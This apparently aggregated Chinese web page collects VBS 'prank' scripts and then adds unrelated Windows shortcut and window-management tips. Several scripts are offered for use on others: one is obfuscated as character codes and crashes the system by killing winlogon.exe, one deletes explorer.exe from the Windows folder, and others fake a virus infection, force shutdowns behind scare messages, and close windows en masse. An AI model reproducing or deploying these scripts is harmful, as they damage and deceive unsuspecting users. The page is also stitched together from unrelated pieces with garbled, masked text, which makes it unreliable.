本文目录一览：
win7怎么编写恶搞代码
如果在写代码的过程中，你可以进行打到windows电脑里面就可以进行切入代码了。
求大量VBS整人代码.
之一个 do msgbox "hi" loop 第二个 Set s = CreateObject("sapi.spvoice") i=0 do s.speak i i=i+1 loop 第三个 if MsgBox("对不起,您灌水太多需要重新启动计算机。"chr(10)"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then msgbox " 系统将立刻重起wow ~_^",,"你上当了！！" Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true end if 第四个 '这个很强悍的vbs,蓝屏 strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,- 23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,- 13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103 ,98,111,120,32,34,-15133,89,-13899,-20026,- 20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,- 14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,- 13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,- 24147,63,34,44,54,52,44,34,-11825,-10536,-16721,- 18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1 01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116, 46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115, 116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1 03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101 ,110,100,32,105,102,13,10,13,10,13,10) for i=1 to UBound(strs) runner=runnerchr(strs(i)) next Execute runner 第五个 if MsgBox("你是猪头吗？",vbYesNo,"提示")=vbyes then msgbox "你SB啊!" else msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!" Set ws = CreateObject("Wscript.Shell") wscript.sleep 1200 ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1nul 2nul",vbhide end if 第六个 Set ws = CreateObject("Wscript.Shell") ws.run "cmd.exe /c call calc.exe",0 第七个 set ws=CreateObject("Wscript.Shell") ws.run "cmd.exe /c taskkill /f /im explorer.exe",0 wscript.sleep 900 ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data" wscript.sleep 1200 ws.run "cmd.exe /c del /q /f %windir%\explorer.exe" 第八个 Set ws=WScript.CreateObject("WScript.Shell") ws.popup"大家好，我就是改变社会风气，风魔万千少女， *** 电影市道，提高年轻人内涵，",10,"闪亮登场",64 ws.popup"玉树临风，风度翩翩的……“咕噜…咕噜…”，不好意思，我内急先闪了，再见！",15,"farewell",64 wscript.sleep 100000 ws.popup"发现重要windows更新未安装，系统将自动下载更新并安装",10 ws.popup"正在下载windows更新……",12 wscript.sleep 10000 ws.popup"windows更新已下载完毕，正在安装更新……",12 wscript.sleep 3000 msgbox"系统检测到WINDOWS更新中携带有不明软件 comcontroler.exe ，并在强行嵌入你的电脑",4132,"是否对其进行扫描？" msgbox"软件名：comcontroler.exe "vbcrlf""vbcrlf" 大小：1.21MB "vbcrlf""vbcrlf" 发行者：幻想丶永恒（403746401）"vbcrlf""vbcrlf" 安全状况：有病毒",vbinformation msgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安装" msgbox"阻止失败，请检查防火墙是否开启" wscript.sleep 15000 ws.popup"windows更新安装成功！",vbinfmation,20 msgbox"您的电脑可能已被入侵，请尽快修改您的 *** 密码及其他机密资料,以免 *** 被盗或丢失资料",vbinformation ws.popup"哈哈，我已经控制了你的电脑！",12,"很高兴见到你",64 ws.popup"不信？我用你的电脑打开我的 *** 空间给你看看",10 ws.run" " msgbox"警告：为了您的电脑安全，请尽快安装使用杀毒软件对系统进行全面杀毒",vbinformation ws.popup"我再打开中国神泣官方网站",10 ws.run" " ws.popup"现在相信了吧？我再打开你的记事本给你写封英语信",20 ws.popup"记事本会被打开并更大化，这时你不要动，千万别把目标转移到其他窗口，耐心看我把信写完。否则引起系统混乱我可不负责！" ws.run "notepad",3 : wscript.sleep 2000 verybat=split("dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it's ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj",",") 第九个 for each wind in verybat ws.sendkeys wind wscript.sleep 500 next ws.popup"唉:-(( ⊙ o ⊙ )！呀，我好累啊，我下了 886",30 ws.popup"下机可不能忘了关 *** 我吧 *** 关了哈",8 ws.run "taskkill /f /im qq.exe" ws.popup"你还要上吧 慢慢玩哦",27 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 4 WSHshell.SendKeys "%{F4}" next ws.run"shutdown -s -t 1000600" wscript.sleep 2000 dim a do a=inputbox("请输入解除关机密码") if a="403746401" then ws.run"shutdown -a" msgbox"密码验证成功，enjoy the best!" exit do else msgbox"密码验证失败，请输入解除关机密码：403746401 ",vbretrycancel end if loop ws.popup"哈哈 被吓到了吧 好玩吧？你以为真的是病毒？呵呵O(∩_∩)O~，我还没那么打本事能做出病毒来！",57 ws.popup"(\(^o^)/~ 好啦，跟你开了个小小玩笑。你也可以把这个文件发给其他人，耍耍别人。呵呵^_^",62 wscript.sleep 8900 do until i=10 i=i+1 msgbox "CPU温度过高，系统出现严重错误！，请结束所有应用程序让CPU降温！",16+4096,"系统提示：" wscript.sleep 1000*45 loop 第十个 set sh=wscript.createobject("wscript.shell") sh.run"shutdown -s -t 332" 第十一个 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 40 WSHshell.SendKeys "%{F4}" next 第十二个 dim a,b,c,s Set fs=CreateObject("Scripting.FileSystemObject") name = WScript.ScriptName fullname = WScript.ScriptFullName path = Replace(fullname,name,"") a=inputbox("请在对话框中填写你真实的姓名！"vbcrlf""vbcrlf"稍后将会给你意外的惊喜！！ "vbcrlf""vbcrlf"不信你可以试试看！！！"vbcrlf""vbcrlf"更好是中文名···","芮洲提示：","请在此输入你的名字") If a = ""Then WScript.Quit End If MyVar=MsgBox ("你的名字叫："a" ",vbYesNo + vbExclamation,"芮洲提示：") If MyVar=vbYes Then ElseIf MyVar=vbNo Then a=inputbox("请在对话框中填写你真实的姓名！"vbcrlf""vbcrlf"稍后将会给你意外的惊喜！！ "vbcrlf""vbcrlf"不信你可以试试看！！！"vbcrlf""vbcrlf"更好是中文名···","芮洲提示：","请在此输入你的名字") If a = ""Then WScript.Quit End If End If wscript.sleep 1000b=inputbox("尊敬的 "a" 你好！"vbcrlf""vbcrlf"请填写一下你的爱好。(只需填一个哦！)","芮洲提示：","请在此输入你的爱好") If b = ""Then WScript.Quit End If wscript.sleep 1000c = inputbox ("请在下面对话框中输入你的出生[年 月日]电脑将自动算出到目前为止你已经在地球上存活了多少时间！"vbcrlf""vbcrlf"下面以我为列 不同可以修改"vbcrlf""Chr(10)"格式为：1987-06-02","芮洲提示：","1987-06-02") If c = ""Then WScript.Quit End If wscript.sleep 1000age = abs(datediff("d",date,c)) wscript.sleep 1 current = now() h=datepart("h",current) n=datepart("n",current) WScript.Sleep 1000 s = msgbox (Chr(10)"恭喜 "a" 已在地球上存活了:"age"天 "h"小时 "n"分钟.....",vbOKCancel+63,"芮洲提示：") if s=2 then end if Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"a"的秘密.vbs",true) auto.WriteLine"MSGBOX""""""我的名字叫:"a" """"""vbcrlf""""""""""""vbcrlf""""""我的爱好是:"B" """"""vbcrlf""""""""""""vbcrlf"""""""a"已经活了:"age"天 "h"小时 "n"分钟 """""",64,"""""""a"的自我介绍：""" auto.WriteLine"msgbox""""""亲爱的 "a " 再见了！"""""",48,""""""芮洲提示：""""""" Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"a"生日快乐.TXT",true) auto.WriteLine"本人芮洲祝: "a" 生日快乐、心想事成、敢于大胆尝试、早日飞黄腾达......." auto.WriteLine"你已在地球上生活了:"age"天 "h"小时 "n"分钟了" auto.WriteLine"时间是根据你的出生年月日算的，可能不是很精确，但目的只是想让知道时间过的很快，请珍惜时间!!!。"
简单的电脑 *** 代码
废话不多说，直接上教程。另外，本教程不需要任何第三方软件，也不会对电脑造成任何伤害， *** 也很简单。如果不想用这个 *** 了也可以随时把图标找回来。
鼠标右键点击图标，选择重命名就好了。修改完成后我们将这个图标复制或者剪切到C:WindowsSystem32这个文件夹里面。
如图所示，放到文件夹里面就好啦，你现在可以删掉桌面的那个图标，或者放到别的地方去。如果以后想弄回来就直接复制回来就好了。
是不是很简单，对于其他的软件我们都可以这样哦，例如把音乐播放器的图标名字改为YY，然后放到那个文件夹里面，之后在运行里面输入“YY”然后确定，音乐播放器就直接运行了哦。
这个 *** 也适合不想让熊孩子碰自己的电脑呢，如果熊孩子想用你的电脑打游戏，你就只需要把游戏的图标改名，放到文件夹里，桌面的图标删除，你想玩的时候直接输入就能打开啦，熊孩子保证找不到哦。
今天的教程就到这里啦，关注并收藏我，我会每天推送好玩又实用的科技信息给你哦。你也可以访问我们的官网，网址是
本文为头条号作者发布，不代表今日头条立场。
1、有时候要离开电脑去做其他的事，而你又不想在你离开的时候有人偷看你的电脑，这时候，你可以选择按住windows键不放，然后按L键，将你的电脑锁屏，这样别人就没法偷看你的电脑了！
电脑锁屏
2、我们经常要打开【我的电脑】找文件，而有的时候，因为桌面图标太多，找半天也找不到【我的电脑】，这时候，你可以选择按住windows键不放，然后按E键，直接进入【我的电脑】。
快捷打开我的电脑
3、有时候我们打开的窗口太多，然后又想返回桌面打开某个文件时，一个个窗口最小化或者是关闭实在是太麻烦了，这时候，我们可以选择按住windows键，然后按D键，唰地一下，瞬间闪回桌面，怎么样，酷不酷？
显示我的桌面
4、正在看新闻，老板突然来袭，怎么办？这时候，你可以选择按住Alt键不放，然后按Tab键，瞬间切换屏幕，论反应速度，我谁都不服，只服你！
程序切换
5、想要找某个文件，而你知道它的名字，却不知道它放在哪里？这时候，你可以选择，按住windows键不放，然后按F键，输入你所知道的文件的名字进行搜索。
文件搜索
需要注意的是，在打开搜索界面后，一定要选择搜索的路径，要不然，会没有结果。
默认路径是收藏夹，所以没有搜索到结果。
选择的路径是C盘，最终得到搜索结果。
6、Windows系统中，有一个功能是非常好用的，那就是【运行】，按住windows键不放，然后按R键，我们就可以打开它。
然后：在里面输入cmd，我们可以打开命令提示符，输入命令进行一些特别的操作。
在里面输入msconfig，我们就可以打开系统启动项，对电脑进行优化。
在里面输入mstsc，我们就可以打开远程桌面，远程连接其他计算机。
在里面输入gpedit.msc，我们就可以打开组策略，修改一些计算机设定。
还有更多功能，不足以一一道来。
怎么样？方便不方便?
7、在windows系统中，处理文件时，有三兄弟是特别好用的，它们分别是组合键【Ctrl + x】、【Ctrl + c】和【Ctrl + v】。
当你要剪切某个文件/文件夹，又或者某段文字时，这时候只需要按住Ctrl键不放，然后按X键，瞬间完成剪切的操作。
同理，当你要复制某个文件/文件夹，又或者某段文字时，这时候只需要按住Ctrl键不放，然后按C键，瞬间就完成复制的操作。
最后，在剪切或者复制完成之后，只需要按住Ctrl键不放，然后按V键，那么你剪切或者复制的内容，就可以粘贴到你想要粘贴的地方了。
剪切、复制、粘贴
8、说到选择文件，还有一个快捷功能也是特别好用的，那就是【Ctrl + a】，它能让你瞬间选中文件夹中所有的文件，或者是文档中所有的内容，然后再进行剪切复制删除等其他操作。
9、关于删除， 也有快捷键，对于文档中的内容，我们在可以选中内容后，使用【Delete】这个键，进行删除。而对于文件，我们在可以选中后，使用【Ctrl + d】，把它丢入回收站。
10、有没有遇到过这样的事？正在处理一个文件，辛辛苦苦忙活了大半天，突然，电脑关机了，瞬间崩溃！其实对于这种情况，有一个快捷键可以很好地帮上你的忙。
【Ctrl + S】这个键主要是用于保存文件。当你在处理文件时，隔一会儿习惯性地用一下【Ctrl + S】，那么就不怕电脑突然关机，而处理过的文件全部白费了。
11、人不是机器，不可能有百分百的准确率，完全不出错，那么在处理文件的时候，如果犯了不可挽回的错（比如说误删文件/或者误删文件内容），那怎么办呢？用快捷键【Ctrl + Z】来让抢救一下你的失误吧！
【Ctrl + Z】的主要功能是撤销，就是取消你上一步的操作，让你有后悔药可以吃。
只要学不死，就往死里学，点击右上角“关注”我们，后期将有更多电脑知识分享。
Hello,EveryBody!
在现代生活中，电脑已经普及到方方面面。无论是休闲娱乐，还是上班办公，它都陪在我们身边，成为我们生活中不可分割的一部分。
每天离不开电脑的你知道它还有这些骚操作吗？今天，就让小编带大家盘点下windows窗口的几个骚操作吧。学会这几点，轻轻松松成为朋友眼中的计算机大神。
骚操作一：摇一摇，窗口最小化
在计算机中，把每个展现给用户的视图界面叫window（窗口）。
在同时打开两个及以上窗口的情况下，鼠标拖动目标窗口左右摇动，其它窗口自动变最小化
骚操作二：窗口更大化
1、鼠标拖动目标窗口到屏幕最上端，目标窗口会自动全屏，实现窗口更大化
2、鼠标双击目标窗口的标题栏实现窗口更大化
3、点击更大化按钮实现目标窗口更大化（常用）
骚操作三：窗口占满屏幕的1/2
1、鼠标拖动目标窗口到屏幕最左端，窗口会占满屏幕的1/2
2、鼠标拖动目标窗口到屏幕最右端，窗口会占满屏幕的1/2
骚操作四：窗口占满屏幕的1/4
1、鼠标拖动目标窗口到屏幕左上角，窗口会占满屏幕的1/4
2、鼠标拖动目标窗口到屏幕左下角，窗口会占满屏幕的1/4
3、鼠标拖动目标窗口到屏幕右上角，窗口会占满屏幕的1/4
4、鼠标拖动目标窗口到屏幕右下角，窗口会占满屏幕的1/4
骚操作一：滑动关机
你是如何关闭计算机的呢？
“开始-》关机”
“什么？直接切断电源”
骚年们，一波操作猛如虎啊。。。。
其实小编和大家一样，大多数情况下也是选择“开始-》关机”这种 *** ，好像挺符合我这计算机菜鸟的，不过各位大佬必须知道一下几种 *** 啊！！！
有没有选择这样关机的？
我的电脑-》C盘-》Windows-》System32-》SlideToShutDown.exe
我说老铁记性真好^^
不过所有的滑动关机操作都是基于它实现的哦。
如果上面这样整太费劲或者记忆力不够用，你可以按照下面这种两种方式来：
1、win+r-》SlideToShutDown
2、win+r-cmd-》SlideToShutDown
Sao货，继续走着！！
你也可以这样：
桌面-》鼠标右击-》新建-》快捷方式-》填入对象位置-》下一步-》取名滑动关机-》双击桌面的快捷方式
等等，还没完。
如果你觉得新建的快捷方式不好看，我们还可以给它添加图标：
选择新建的快捷方式右键-》属性-》更改图标
除了上面几种方式以外，你也可以用代码来实现：
桌面右击-》新建-》文本文档-》输入：SlideToShutDown-将后缀改为.bat-双击文件
以上就是滑动关机的全部教程了，骚年你学会了吗？
求恶搞小程序，编程代码，更好是VB的
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"
这是网上流行的一种让别人关机的代码